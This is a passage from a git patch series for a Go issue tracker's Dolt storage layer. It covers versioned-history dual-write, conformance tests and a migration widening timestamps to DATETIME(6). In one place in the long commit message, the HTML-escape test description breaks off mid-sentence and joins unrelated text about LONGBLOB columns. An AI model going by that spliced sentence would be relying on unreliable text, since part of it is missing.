if strings.Contains(line, depGlyph) && strings.Contains(line, "bd-x") { + annotations++ + } + } + if annotations != 1 { + t.Fatalf("bd-a's depends-on row must render exactly once, under its first appearance, got %d:\n%s", annotations, out) + } +} + +func head(s string, n int) string { + lines := strings.SplitN(s, "\n", n+1) + if len(lines) > n { + lines = lines[:n] + } + return strings.Join(lines, "\n") +} From 73702cc733e91d6573803693d50b99493fa980ad Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sun, 27 Sep 2026 01:21:20 -0700 Subject: [PATCH 138/624] fix(schema): widen issue_versions.change_at to DATETIME(6) before any store accumulates real history (#6675) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Phase 0: conformance suite (history, expectedRevision R16.1, epochs R20) - gastownhall/beads#6133 (refs be-hs42e.1) * feat: green — Phase 0 conformance suite (history, R16.1, R20 epochs) (refs be-hs42e.1) Implements the 32 in-process RunXxx contract cases from be-hs42e.1 §4 (gastownhall/beads#6133): expectedRevision CAS + refusal (R16/R17, 10 cases), the cross-record-invariant boundary (R16.1, 7 cases), and retention/epoch semantics (R20, 15 cases). All hooks nil in every backend's fixture kit per architecture §12 — ships disabled by default, zero behavior change. Also fixes a role-tier coverage-gate false positive: role_bundle_test.go's TestRoleContractCasesCoverEveryContractCase matched any Run*(t, ctx, XxxFixture) function in the package with no scoping, incorrectly sweeping in these new history-semantics functions. Scoped via roleTierFixtureNames() (reflection over RoleContractBundle's field types) so only functions whose Fixture type is an actual bundle field count as role-tier cases. * feat: green — Review: Phase 0: conformance suite (history, expectedRevision R16.1, epochs R20) - gastownhall/beads#6133 (refs be-zv3ob) Wire the 32 new R16/R16.1/R20 role-contract entrypoints (expected_revision, cross_record_invariant, retention, epoch) into all three storage legs so TestEveryLegWiresEveryRoleContract passes on dolt, embeddeddolt, and uow — fixing the round-1 review's blocking finding (gastownhall/beads#6133). Each new per-leg _test.go file follows the existing wiring convention (one TestXxxContract per role, one t.Run per case, calling conformance.RunXxx) with the same all-nil Phase 0 fixtures used everywhere else this phase, so every case skips by name until Phase 3 gives it a non-nil hook. Also corrects a stale comment in versioned_history_wiring_test.go that argued against per-leg wiring files exactly like the ones this commit adds. No other behavior change: wiring only, no new dependency, no scope beyond the reviewer's named blocking issue. * chore: release gate PASS for Phase 0 conformance suite (be-e0w8y) Review: be-g8mp3 (PASS). Deploy bead: be-e0w8y. Refs be-e0w8y, be-g8mp3, be-hs42e.1, be-zv3ob. * feat: green — Review round 2: Phase 0 conformance suite (bounds assertion, RetentionAnswer fields) - gastownhall/beads#6147 (refs be-ekp0w) Fix bee-ghosttrack's round-2 MERGE-AFTER-FIXES review on PR #6147 (comment 5504085482): - RunAHoldPreventsRemovalAndReportsInRetainedBounds now asserts BOTH refusal (ErrRetentionHeld) AND that the held Address shows up positively in the reported RetainedWindow bounds, not merely inferred from the absence of a Gone restriction (R20-h). - RetentionAnswer gains Attribution *ChangeAttribution and Epoch *int. RunForcingAHeldRemovalRecordsWhoWhenWhy now asserts real attribution content (R20-h2) instead of accepting it only as a parameter. RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed now asserts Restriction=GoneReorganization AND the current epoch is named (R20-n). Reviewer-sanctioned, taken in the same pass: - RetentionFixture gains a Mint hook (analogous to EpochFixture.MintUnderEpoch); every retention case that needs a real, resolvable Address now mints one instead of relying on the retired "fabricated address defaults to Live" convention. The one exception, RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone, keeps the old fabricated-address helper on purpose: Unknown specifically means an Address no store ever minted. - RunStoreInvariantTransactionScopesExactlyTheSpanningRecords adds a post-refusal read-back via CountHistoryForSubject, pinning that a refused cross-record batch is atomic (leaves no trace on either record), as an inline nil-check rather than a t.Skip. - Refusal's doc comment now states the fixture kit is the translation boundary between whatever shape a real backend ships and the one shape this suite asserts against — not a mandate banning a native typed-error refusal shape at the backend level. - Package doc comment in expected_revision_contract.go records four reviewer-named deferrals verbatim (unretained/disclosure-gating as a future authorization axis rather than a sixth Restriction state; invariant-declaration discoverability; lease TTL self-expiry; R20-j durability-across-restart) and notes the "_attribution" patch-key convention as canonical for Phase 3 hook docs. §4a's choice-vs-transcription table (this file's package doc comment) already marks choices 2 and 3 DIED as of this round; no separate callout-row table exists elsewhere in the repo. No other behavior change: all touched Run* entrypoints still skip by name under Phase 0's all-nil fixtures on every leg (confirmed via TestVersionedHistoryPhase0RunsInFullSkipMode and TestEveryLegWiresEveryRoleContract), no new dependency, no scope beyond the reviewer's named findings. * feat: green — Review round 3: Phase 0 conformance suite (nil-hook logging, retained-bounds assertion, stale comment) - gastownhall/beads#6147 (refs be-gw08e) bee-ghosttrack round-2 review (2026-09-03T01:03Z, MERGE-AFTER-FIXES): - cross_record_invariant_contract.go:158,178 — log which half of the atomicity read-back goes unverified when CountHistoryForSubject is nil, matching the file's existing skip-by-name convention (:327-328). - retention_epoch_contract.go:511 — RunAHoldPreventsRemovalAndReportsInRetainedBounds asserted both RetainedWindow bounds equal the held Address, on the assumption nothing else was ever minted in this store. That assumption doesn't hold: IssuePrefix is a static per-package string (internal/storage/uow/retention_epoch_contract_test.go:17), not randomized per run, so a persistent backend's second run would fail this for the wrong reason. Weakened to at-least-one-bound. - retention_epoch_contract.go:60-61 — fixed a stale "those two cases still use" comment; retentionAddress's own doc comment already names RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone as sole caller. PR body's choice-vs-transcription callout table updated separately (ten -> eight rows; the R20-h2 and R20-baseline rows described choices this same review round already marked DIED in source). * test(feat): red — Implement Phase 2 dual-write history behind flag - gastownhall/beads#6135 (refs be-0uifx) * feat: green — Implement Phase 2 dual-write history behind flag - gastownhall/beads#6135 (refs be-0uifx) * test(issueops): red — Phase 2 dual-write: re-seat builder/be-0uifx onto the merged base + add attribution_status (§16.4) — preempt the known review bounce (refs be-v33pa) * fix(issueops): green — Phase 2 dual-write: re-seat builder/be-0uifx onto the merged base + add attribution_status (§16.4) — preempt the known review bounce (refs be-v33pa) Migration 0068 step 6 only (VARCHAR(20) NOT NULL on issue_versions); RecordVersionInTx derives it from the actor string it already receives via attributionStatusForActor (non-empty -> supplied, empty -> undetermined; not_supplied/imported are schema-valid but unreached by any of the 7 current call sites). CLI-bundle direct-DDL override added per dolthub/dolt#11345. Two pre-existing raw-SQL issue_versions fixtures updated for the new NOT NULL column. * chore(release-gates): add be-764ey deploy gate record (Phase 2 dual-write) Factory release gate for be-764ey / gastownhall/beads#6135, PR #6358 (supersedes draft #6354). 7/7 PASS, no waivers — independent full-suite run (97 packages ok, 0 FAIL, 0 SKIP), gofmt/vet clean, two pre-existing non-blocking lint/policy findings attributed to be-2l6n8/be-xzg59. * chore(ci): no-op commit to retrigger checks — code identical to 4179638; the macOS lane failed on runner disk I/O errors (see PR #6358 discussion) * fix(history): attribution_status is claimed|unknown (BDP-aligned); document ordinals as local and the flag as single-writer-only Per donnabox's review on #6358 items 1-3: align issue_versions.attribution_status to bdp#18's carried-attribution vocabulary (claimed | unknown), drop the unreachable not_supplied and the provenance-not-assertion imported; state that current_revision/revision are local ordinals and version_id is the only durable address; document VersionedHistoryConfigurer as single-writer-only until 0068 steps 1-3 land. * fix(history): durable_state is LONGBLOB holding the RFC 8785 canonical form Per donnabox's review on #6358 item 4: Dolt's JSON type renormalizes numbers, so a JSON column cannot keep the verbatim-bytes promise (R5.1) or back a content-derived token. Migration 0068 step 7 retypes issue_versions.durable_state to LONGBLOB (guarded PREPARE, CLI-bundle override extended), RecordVersionInTx stores the JCS canonical bytes of the marshalled issue so sha256(stored) is a stable token, and the all-migrations shape test pins longblob. * build(nix): bump vendorHash for github.com/gowebpki/jcs v1.0.1 The JCS canonicalizer added on this branch changes go.sum, so the fixed-output go-modules derivation hash moves. Recomputed on the rebase onto main at 71c4cd08b. The merged module graph is main's v1.3.0 dependency and toolchain bumps (#6047) plus this branch's gowebpki/jcs v1.0.1, so neither side's pre-rebase hash applies: main's was computed without jcs, and this branch's was computed against the older dependency set. The value here was extracted from nix's own hash-mismatch report and then verified by a clean nix build .#default. * style(history): marshaled, not marshalled (misspell lint) * fix(history): mint a version on every accepted issue-plane mutation, last in the transaction, on every leg Per the write-path inventory on #6135 (donnabox's item 5 on #6358): the seam was reached from 3 of 57 journaled entry points. Close, reopen, claim, unclaim/release, lease reclaim, defer wake, label add/remove, promote and persistence moves now mint; update's label/parent patches and batch-create edges are applied before the mint so durable_state carries them; dependency add/remove mint at the lowest helper on all legs (uow and legacy verbs included) with the editor's duplicate call removed. version_completeness_test.go pins the set. * docs(history): issue-plane write-path inventory with Phase 2 dispositions The table donnabox asked for on #6358 (item 5), derived from the code rather than the design's count, with the dispositions that changed after a14f48b17 and the caveats that remain. * docs(history): write-path doc: the seam has 27 call sites after a14f48b17, not "exactly six" The sentence "is reached from exactly six call sites" described the tree at 321a79278 in the present tense, in a doc whose header already says those rows changed after the completeness fix. It now scopes the six to that commit and points at a new section listing the 27 sites (18 in issueops, 9 in domain/db) verified with grep over non-test files at d484b809d, with the enclosing function for each. The "29 sites" figure quoted in the PR thread was an over-count; 27 is the measured number. The unchanged-re-import caveat now records that the journal seam sits in the same position: RecordEventInTx(EventCreate) at create.go:207 runs on every accepted upsert (only the events-table write behind the isNew gate at create.go:171 is skipped), so a field-level no-op gate belongs in front of both seams, not the version seam alone. Doc only; no Go change. * fix(history): seed store_epoch once per store, state the fail-closed canonicalization policy, and say single writer means one at a time From bee-ghosttrack's round-1 review of #6358. - store_epoch (nit): RecordVersionInTx ran INSERT IGNORE INTO store_epoch on every mint, putting one shared row (id = 1) into every write transaction's footprint. It now reads first and seeds only when the row is absent, so the seed happens once per store. Same result, one fewer write per versioned mutation. - canonicalDurableState (MINOR-4): the comment now states the two properties a hand-rolled canonicalizer would get wrong -- jcs.Transform normalizes away encoding/json's HTML escaping, so the token is a function of content, not of Go's escaping policy; and a snapshot that cannot be canonicalized deliberately fails the mutation. Duplicate keys in an issue's metadata (a json.RawMessage, reachable via bd sql or a hand- written JSONL import) make the seam return an error with the flag on. Fail-closed is the policy for now; normalizing first, or finding such rows with bd doctor, is gastownhall/beads#6379 item 3. - Single writer (MINOR-5): the constraint in version_history.go, storage.go and the 0068 header now says one writer AT A TIME per store, not merely one clone -- MAX(revision)+1 is not a safe allocator for two concurrent transactions in one store either, and no contract case runs concurrent writers. gastownhall/beads#6379 item 4. - RecordVersionInTx doc (nit): IsWisp is Ephemeral || NoHistory, so a promoted no-history bead is also never versioned; stated as what no-history means rather than as an FR-8 wisp rule. No behaviour change beyond the one fewer INSERT. Gates: gofmt, go build, go vet, golangci-lint v2.10.1 (0 issues), issueops, the five embedded-Dolt version suites, scripts/check-migration-hygiene.sh. * docs(history): restate the write-path doc at this head; keep the 321a79278 inventory under a dated heading bee-ghosttrack's MINOR-2 on #6358: the table and notes were written in the present tense against 321a79278, so as merged the doc said close was OUT OF CONTRACT and that no completeness test existed, beside the code that ships both. The doc now has two parts. "Dispositions at this head" carries a table of every row whose disposition changed after a14f48b17 (rows 13-23, 25, 27, 34) with the mechanism and line for each, the counts at this head (21 VERSIONED, 13 OUT OF CONTRACT, 5 no-op gates), the deferred items, the seam call sites, and notes that are true now. "As found at 321a79278" keeps the original table and notes verbatim as the record of what the review found, with a sentence saying which rows it no longer describes. Also: row 13 now says wisp or promoted no-history bead (nit); the flag-off sentence says behaviourally a no-op at the seam but not literally zero added work (nit); the flag-on prerequisites point at gastownhall/beads#6379. * test(history): a call passing mintVersion=false is not a minting edge (reviewer MINOR-1) The versioned-history guard's fixpoint treated "textually calls RecordVersionInTx, directly or transitively" as the mint predicate, so a call to a helper with mintVersion=false still counted as a minting edge. Reviewer Probe 2 on #6358 showed the consequence: deleting ExecuteUpdate's own final `if changedAny { RecordVersionInTx(...) }` block left the whole issueops package green, because the fixpoint credited ExecuteUpdate with the mints of the very constituents it had told not to mint. journalscan now records each function's parameter names and each call's reduced argument list (bare identifier or literal per argument), and exposes CallsOnlyWithLiteralFalse(fns, f, callee, gate): true only when every call f makes to callee passes the predeclared false for callee's parameter named gate. A call passing true, a variable, the caller's own parameter, or too few arguments keeps its edge, as does a callee without the parameter. Existing callers (IdentCalls, SelCalls, Fixpoint) are unchanged; the resolve closure is merely lifted to a package function. versionMintEdges drops the switched-off edges, and a new TestCompositeMutationsCarryTheirOwnMint pins that ExecuteUpdate, applyLabelPatch and applyParentPatch each call the seam themselves and that none of their remaining edges reaches it. Verified: full issueops package green on the unmodified tree. Probe 2 (delete ExecuteUpdate's final mint block) now fails TestCompositeMutationsCarryTheirOwnMint, TestEveryVersionedEntryPointMints and TestEveryBeadMutatorMintsOrIsExempt, all naming ExecuteUpdate; the same probe against the previous guard stays green. Probe 1 (delete the close mint) still fails TestEveryVersionedEntryPointMints and TestEveryBeadMutatorMintsOrIsExempt naming CloseIssueInTx, CloseIssueWithoutEventInTx, CloseIssueCheckedInTx and ExecuteClose. The exemption tables are untouched. * test(history): pin the uow leg's 1+N+M create divergence as a red-when-fixed test (reviewer MINOR-3) TestDualWriteContract's Mutate closure creates an issue with no labels and no dependencies, so its "exactly one version row per accepted mutation" case cannot see what a fuller create does on the uow leg: domain.IssueUseCase.CreateIssue inserts the row and then persists each label and each edge through its own repository (domain/db label.go, dependency.go), and every one of those writes reaches issueops.RecordVersionInTx on its own. The direct legs mint exactly one row for the same shape (CreateIssuesInTxWithContext mints once per issue after the creation-time edges land). TestUOWCreateWithLabelAndEdgeMintsPerRepositoryWrite_KnownDivergence creates an issue through the uow leg with exactly one label and one blocks edge and asserts the MEASURED count of issue_versions rows: 3 (1 issue + 1 label + 1 edge), matching the 1+N+M prediction. It also checks the label and edge actually landed, and that the bare-shape target seeded through the same leg holds exactly 1 row, so the two extra rows are attributable to the label and the edge. A t.Log line and the doc comment name the follow-up as gastownhall/beads# (to be substituted before push) and state that the test is expected to FLIP to 1 when it lands. The provider boot + flag enablement is lifted out of newUOWDualWriteFixture into newUOWVersionedHistoryProvider so the new test shares it; the existing contract cases and the fixture closures are unchanged. Runs on the same backend and skips as its neighbours (a real dolt sql-server, gated by testutil.RequireDoltBinary; no extra env needed). Verified: go test -count=1 -run 'TestDualWrite|TestUOWCreateWithLabelAndEdge' ./internal/storage/uow/ passes. * test(history): pin canonicalDurableState to the RFC 8785 vectors, key order, HTML escapes and duplicate keys TestCanonicalDurableStateIsJCS covered only number forms. It is now table-driven over: - the ten RFC 8785 test vectors that ship with github.com/gowebpki/jcs v1.0.1 (Apache-2.0), copied verbatim to internal/storage/issueops/testdata/jcs/{input,expected} with a README.md recording their provenance (upstream's "output" directory is named "expected" here because the repository's .gitignore drops any output/ tree); the count is pinned so an emptied directory cannot pass as a vacuous table; - a unicode/astral key-ordering case: {"b":1,"a":2,"é":3,"A":4,"😀":5} canonicalizes to {"A":4,"a":2,"b":1,"é":3,"😀":5} (UTF-16 code-unit order, so the astral key sorts after "é"); - an HTML-escape case: a string value &"' comes out as "&\"'" with no <-style escaping, plus a companion subtest proving plain json.Marshal DOES emit LONGBLOB, attribution_status NOT NULL) rather than pinning the pre-0068 shape, so change_at/removed_at follow the same existing pattern: datetime -> datetime(6). Asserting AS-OF-0067 instead would mean forking the test to stop the bundle at slot 0067, which would also have to unwind those two other already-adapted assertions -- contradicting the test's own documented intent to check the current cumulative shape. refs be-hs42e.8 / be-ebl4t (review round 1) * fix(history): scope, stage and forward dual-write versioned history (review rounds 1-2) Maintainer fixup for the three majors in the #6675 review. All three are incompleteness in the activation half of this PR's own contract: the seam mints correctly, but the store half never turns minting on everywhere, never publishes what it minted, and cannot be turned on at all through the shipped provider chain. The flag is off in every build, so none of this regresses today -- which is why it is cheap to fix here instead of being inherited by the phase that flips it. 1. Scope versioned history where the journal already is. RecordVersionInTx no-ops unless ScopeVersionedHistoryTransaction bound the transaction. Two issues-plane sites were unscoped: runDoltTransaction -- the whole doltTransaction mutator surface, reached from bd create, batch create/import, bd graph apply, merge_slot and the CLI transact wrappers -- and the non-wisp arm of DoltStore.RemoveDependencyWithOptions. Unscoped means the mutation commits and no version row exists, so the next scoped mutation mints revision 1 and the history claims the update is the creation. version_scope_completeness_test.go is the structural twin of the journal's guard, in two arms because one cannot see both shapes: the raw-tx scan (mutator set computed from issueops source, 8 wisp-plane exemptions with reasons) plus a wrapper arm for the callback-taking transaction runners the direct scan cannot reach. Deleting runDoltTransaction's scope fails only the second arm -- measured -- which is why both exist. 2. Stage what a mint writes. issue_versions and store_epoch replicate: they are deliberately not dolt_ignore'd, and the single-writer constraint this feature documents is a statement about merging them between clones, which only means anything for a table that replicates. So every mint has to reach its operation's DOLT_COMMIT, or the rows sit dirty in the working set -- unreplicated, and swept into whatever unrelated commit stages next. issueops.VersionedHistoryStagedTables is the one list; the fixed-list DOLT_ADD paths and both DirtyTableTracker paths consult it, keyed off activation so no call site has to remember. The decision is recorded in 0068's header, since 0067 is frozen and said nothing. The uow/serve and embedded -Am paths already stage the whole working set and are untouched. bd-2y9ke is not widened: every addition is gated on activation, so no flag-off commit changes shape. 3. Forward the configurer through externaldeps.uowProvider, the outermost provider on both real chains. Activation type-asserts the outermost value, so without this the assertion fails exactly where it matters and the inner forwarder is unreachable -- silently, because the compiler cannot see a missing optional-interface method. The assertion block now lists the interface and a table-driven test covers both configurers through the wrapper. The new contract case drives a flag-on mutation through RunInTransaction (not the already-scoped withWriteTx arm) and asserts dolt_status is clean for issue_versions afterwards, so it is red against 1 and 2 independently. Also: correct the stale "three guarded PREPARE blocks" count in the 0068 CLI-bundle override comment (four blocks, three steps -- step 8 has one per column), and record the deferred per-mint round-trip cost against #6379. Round 2 (comment-only; both findings are against this commit, both non-gating -- the iteration-2 synthesis and scorecard are approve with no required changes): - doltAddAndCommitInTx's NEXUS#92 HAZARD header enumerated the in-tx planes the lost-update still reaches but predates the staged-set widening this commit added at that same site. issues was already exposed there and self-heals -- the next mutation of the bead rewrites the reverted row -- while issue_versions and store_epoch are append-only, so a row reverted to its BEGIN-time value is simply gone. Named in the header so the activation phase inherits a written hazard instead of discovering it. - MarkVersionedHistoryDirty's "cannot disagree" claim is absolute where the code is not: scope time and stage time are two Load()s of the same atomic, not one value threaded through, so the invariant holds only while activation does not flip mid-operation. Unreachable in production (no non-test setter caller; activation is wiring-time), so the comment states the dependency and names the latch-the-flag remedy for whenever that stops being true. * fix(schema): move the change_at/removed_at DATETIME(6) widen out of frozen 0068 into new migration 0069 0068 landed on main (#6650) with steps 6 and 7 only, so check C of scripts/check-migration-hygiene.sh now treats it as frozen: clones built from main have applied it and recorded its content hash. This branch still appended step 8 (the change_at/removed_at DATETIME(6) widen) to both 0068 files, which forked the fresh-bundle 0068 hash from the applied one and turned `Check migration hygiene` (and so `CI Gate / Required`) red. Per the review: - restore 0068_add_attribution_status.{up,down}.sql byte-identical to main; - add 0069_widen_issue_versions_datetime_precision.{up,down}.sql carrying the DATETIME_PRECISION-guarded PREPARE blocks as written, plus the step-8 reverse; the DOLT PLANE paragraph moves into 0069's header; - split cliMigration0068AddAttributionStatus back to main's two-ALTER form and add cliMigration0069WidenIssueVersionsDatetimePrecision with its own case in cliCompatibleMigrationSQL; - retarget the datetime-precision tests at 0069 (migration_0068_datetime_precision_test.go -> migration_0069_datetime_precision_test.go), which also drops the stale "0069 and 0070 are already spoken for" pointer from round 1. Two follow-throughs the move needs beyond that list: - TestLatestVersionIncludesMigration0068 hardcodes 68, so it is superseded by TestLatestVersionIncludesMigration0069, the same way #6650 retired the 0067 pin when 0068 arrived; - TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities gains 0069's direct-DDL and guard-variable anchors, as 0066-0068 each have. The 0069 header no longer rests on "this migration and the table's first writer ship in the same build" (the writer is already on main, behind the versioned-history flag). Widening is lossless whatever the table holds, which is the claim it makes instead. The down file records that narrowing rounds sub-second values half-up (measured on dolt 2.3.3: .750000 reads back as the next second). refs be-mu248 / be-hs42e.8 (gastownhall/beads#6675 review 5328477668) * test(schema): pin 0069 on the raw-SQL path existing stores take Round 1 of the review noted that the widen was pinned as bytes only on the path existing stores take: every live test in internal/storage/schema goes through the CLI-bundle override, so deleting the guarded blocks from the .up.sql turned only the byte pin red. With the widen now in its own migration, that path matters more than before. A store that applied main's 0068 is at precision 0, and 0069's DATETIME_PRECISION-guarded PREPARE blocks are the only thing that moves it to DATETIME(6). TestMigration0069WidensPrecisionZeroStoreAsRawSQL (integration tag, beside the 0067 replay test) turns the reviewer's manual probe into a test, run through the same runMigrationSQL executor as the pr4107 replay harness: - the raw down narrows both columns to datetime; - the raw up re-widens both to datetime(6), and a whole-second row written at precision 0 reads back unchanged, which is the up header's "widening is lossless" claim; - a second raw up is a clean no-op; - a .750000 insert then reads back intact. Mutants, each red: removing the change_at guarded block from the up file fails this test (and TestCLIBundleMatchesRuntimeCommittedSchema), and making the down's guards never fire fails it at the post-down check. refs be-mu248 / be-hs42e.8 (gastownhall/beads#6675, review round 1 note 1) --------- Co-authored-by: Julian Knutsen --- internal/storage/dolt/dependencies.go | 12 ++ .../dolt/dualwrite_history_contract_test.go | 69 +++++++ internal/storage/dolt/ephemeral_routing.go | 15 +- ...ema_0069_datetime_precision_replay_test.go | 97 ++++++++++ internal/storage/dolt/store.go | 24 +++ internal/storage/dolt/transaction.go | 17 ++ .../dolt/version_scope_completeness_test.go | 179 +++++++++++++++++ internal/storage/embeddeddolt/transaction.go | 5 + .../storage/externaldeps/uow_decorator.go | 84 ++++---- .../externaldeps/uow_decorator_test.go | 87 +++++++++ internal/storage/issueops/version_history.go | 42 ++++ internal/storage/schema/cli_migrations.go | 19 ++ .../migration_0067_versioned_beads_test.go | 10 +- ...ration_0068_add_attribution_status_test.go | 14 -- .../migration_0069_datetime_precision_test.go | 180 ++++++++++++++++++ ...issue_versions_datetime_precision.down.sql | 38 ++++ ...n_issue_versions_datetime_precision.up.sql | 91 +++++++++ internal/storage/schema/schema_test.go | 7 + internal/storage/versioncontrolops/commit.go | 40 ++++ 19 files changed, 980 insertions(+), 50 deletions(-) create mode 100644 internal/storage/dolt/initschema_0069_datetime_precision_replay_test.go create mode 100644 internal/storage/dolt/version_scope_completeness_test.go create mode 100644 internal/storage/schema/migration_0069_datetime_precision_test.go create mode 100644 internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.down.sql create mode 100644 internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.up.sql diff --git a/internal/storage/dolt/dependencies.go b/internal/storage/dolt/dependencies.go index 2c517876f..8c5123c65 100644 --- a/internal/storage/dolt/dependencies.go +++ b/internal/storage/dolt/dependencies.go @@ -104,6 +104,12 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de defer func() { _ = tx.Rollback() }() clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + // Scoped even though RecordVersionInTx returns early on IsWisp and + // can mint nothing here: the two arms below share one mutator, and + // a scope that is present on one arm only is the asymmetry this + // method's own history is made of. Uniform beats clever. + clearVersionScope := s.scopeVersionedHistoryTransaction(tx) + defer clearVersionScope() if _, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent); err != nil { return err } @@ -121,6 +127,12 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + // The non-wisp arm: this removal mutates the issues plane, so the + // referencing issue must be versioned with it. RemoveDependencyInTx + // calls RecordVersionInTx on the row delete, and that seam no-ops + // unless activation is bound to THIS transaction. + clearVersionScope := s.scopeVersionedHistoryTransaction(tx) + defer clearVersionScope() eventWritten, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent) if err != nil { diff --git a/internal/storage/dolt/dualwrite_history_contract_test.go b/internal/storage/dolt/dualwrite_history_contract_test.go index 32af3771d..64788658d 100644 --- a/internal/storage/dolt/dualwrite_history_contract_test.go +++ b/internal/storage/dolt/dualwrite_history_contract_test.go @@ -224,3 +224,72 @@ func newDoltDualWriteFixture(t *testing.T, prefix string, enabled bool) (conform storeCleanup() } } + +// TestDualWriteVersionRowsRideTheMutationsDoltCommit is the store-half +// companion to the DualWriteFixture cases above, and it is deliberately shaped +// around the two blind spots those cases have. +// +// First, it mutates through RunInTransaction — the doltTransaction surface fed +// by runDoltTransaction — not through store.CreateIssue/UpdateIssue, which run +// on the already-scoped withWriteTx arm. Activation is bound per transaction, +// so a seam that mints fine on one arm can mint nothing at all on the other, +// and every case above happened to exercise only the arm that worked. +// +// Second, it asserts the version rows are IN the operation's Dolt commit, by +// requiring dolt_status to be clean for issue_versions afterwards. Counting +// rows in the working set cannot tell a durable history from one that never +// got staged: unstaged rows read back perfectly from SQL while being absent +// from the commit that describes them, unreplicated, and liable to be swept +// into whatever unrelated commit stages next. issue_versions replicates (see +// issueops.VersionedHistoryStagedTables), so "present" and "committed" are +// different claims and only the second one is the durability promise. +func TestDualWriteVersionRowsRideTheMutationsDoltCommit(t *testing.T) { + store, storeCleanup := setupTestStore(t) + defer storeCleanup() + ctx, cancel := testContext(t) + defer cancel() + configurer, ok := any(store).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", store) + } + configurer.SetVersionedHistoryEnabled(true) + defer configurer.SetVersionedHistoryEnabled(false) + + const id = "dwc-committed" + if err := store.RunInTransaction(ctx, "bd: create "+id, func(tx storage.Transaction) error { + return tx.CreateIssue(ctx, &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, "actor") + }); err != nil { + t.Fatalf("RunInTransaction create: %v", err) + } + + var versions int + if err := store.db.QueryRowContext(ctx, + `SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?`, id).Scan(&versions); err != nil { + t.Fatalf("count issue_versions: %v", err) + } + if versions != 1 { + t.Fatalf("issue_versions rows for %s = %d, want 1 — a mutation routed through runDoltTransaction minted no version, so versioned history is not scoped on that transaction", id, versions) + } + + var currentRevision int64 + if err := store.db.QueryRowContext(ctx, + `SELECT current_revision FROM issues WHERE id = ?`, id).Scan(¤tRevision); err != nil { + t.Fatalf("read current_revision: %v", err) + } + if currentRevision != 1 { + t.Fatalf("issues.current_revision for %s = %d, want 1", id, currentRevision) + } + + for _, table := range []string{"issue_versions", "issues"} { + var dirty int + if err := store.db.QueryRowContext(ctx, + `SELECT COUNT(*) FROM dolt_status WHERE table_name = ?`, table).Scan(&dirty); err != nil { + t.Fatalf("read dolt_status for %s: %v", table, err) + } + if dirty != 0 { + t.Errorf("dolt_status still reports %s dirty after the mutation committed — the rows this operation wrote are outside its own Dolt commit: unreplicated, and waiting to be swept into whatever unrelated commit stages next", table) + } + } +} diff --git a/internal/storage/dolt/ephemeral_routing.go b/internal/storage/dolt/ephemeral_routing.go index 0938a9505..74bbd20ac 100644 --- a/internal/storage/dolt/ephemeral_routing.go +++ b/internal/storage/dolt/ephemeral_routing.go @@ -357,6 +357,19 @@ func (s *DoltStore) demoteToWispInTx(ctx context.Context, tx *sql.Tx, id string, // uow/domain claim surfaces. Every one of these should migrate to the // post-tx ordering; until then any of them racing a concurrent writer can // still silently revert that writer's committed rows. +// +// The STAGED SET is the hazard's other axis, and it widened. When versioned +// history is active, withVersionedHistoryTables adds issue_versions and +// store_epoch to whatever fixed list a caller passed (every caller here +// already stages issues), so those two tables are now exposed to the lost +// update above on every in-tx plane named in the paragraph above. The +// exposure is not equivalent to the one issues already had: a reverted issues +// row is rewritten by the next mutation of that bead, while issue_versions +// and store_epoch are append-only, so a row reverted to its BEGIN-time value +// is never rewritten -- it is gone, leaving a hole in the history no later +// write fills. Migrating these planes to the post-tx ordering closes this +// along with the rest of the hazard; it is written down here so the +// activation phase inherits a known hazard rather than discovering it. func (s *DoltStore) doltAddAndCommitInTx(ctx context.Context, tx *sql.Tx, tables []string, commitMsg string) error { // Batch/off auto-commit (bd-4wamg): leave the writes in the working set // for a later explicit commit point (bd dolt commit / CommitPending) @@ -364,7 +377,7 @@ func (s *DoltStore) doltAddAndCommitInTx(ctx context.Context, tx *sql.Tx, tables if issueops.VersionCommitDeferred(ctx) { return nil } - for _, table := range tables { + for _, table := range s.withVersionedHistoryTables(tables) { if err := schema.DrainCall(ctx, tx, "CALL DOLT_ADD(?)", table); err != nil { return fmt.Errorf("dolt add %s: %w", table, err) } diff --git a/internal/storage/dolt/initschema_0069_datetime_precision_replay_test.go b/internal/storage/dolt/initschema_0069_datetime_precision_replay_test.go new file mode 100644 index 000000000..88ebbb56e --- /dev/null +++ b/internal/storage/dolt/initschema_0069_datetime_precision_replay_test.go @@ -0,0 +1,97 @@ +//go:build integration && !windows + +package dolt + +import ( + "context" + "testing" +) + +// TestMigration0069WidensPrecisionZeroStoreAsRawSQL pins migration 0069 on +// the path existing stores actually take. Every clone that applied 0068 +// before 0069 existed has change_at and removed_at at precision 0, and it +// reaches DATETIME(6) only through 0069's DATETIME_PRECISION-guarded PREPARE +// blocks, run as raw SQL -- never through the CLI-bundle override, which is +// all TestMigration0069ChangeAtSurvivesSubSecondPrecisionThroughDoltCLI in +// internal/storage/schema exercises. Without this test, deleting either +// guarded block from the .up.sql fails only the byte pins in that package. +// +// setupTestStore migrates to latest, so the raw down (itself under test +// here) is what puts the store back at precision 0. Then the raw up runs +// twice through runMigrationSQL, the same executor the pr4107 replay harness +// uses: pass 1 must fire both guards, and pass 2 must be a clean no-op on +// the already-widened store. A whole-second row written at precision 0 has +// to survive the widen unchanged -- the up file's "widening is lossless" +// claim -- and afterwards a sub-second write has to round-trip intact. +func TestMigration0069WidensPrecisionZeroStoreAsRawSQL(t *testing.T) { + store, cleanup := 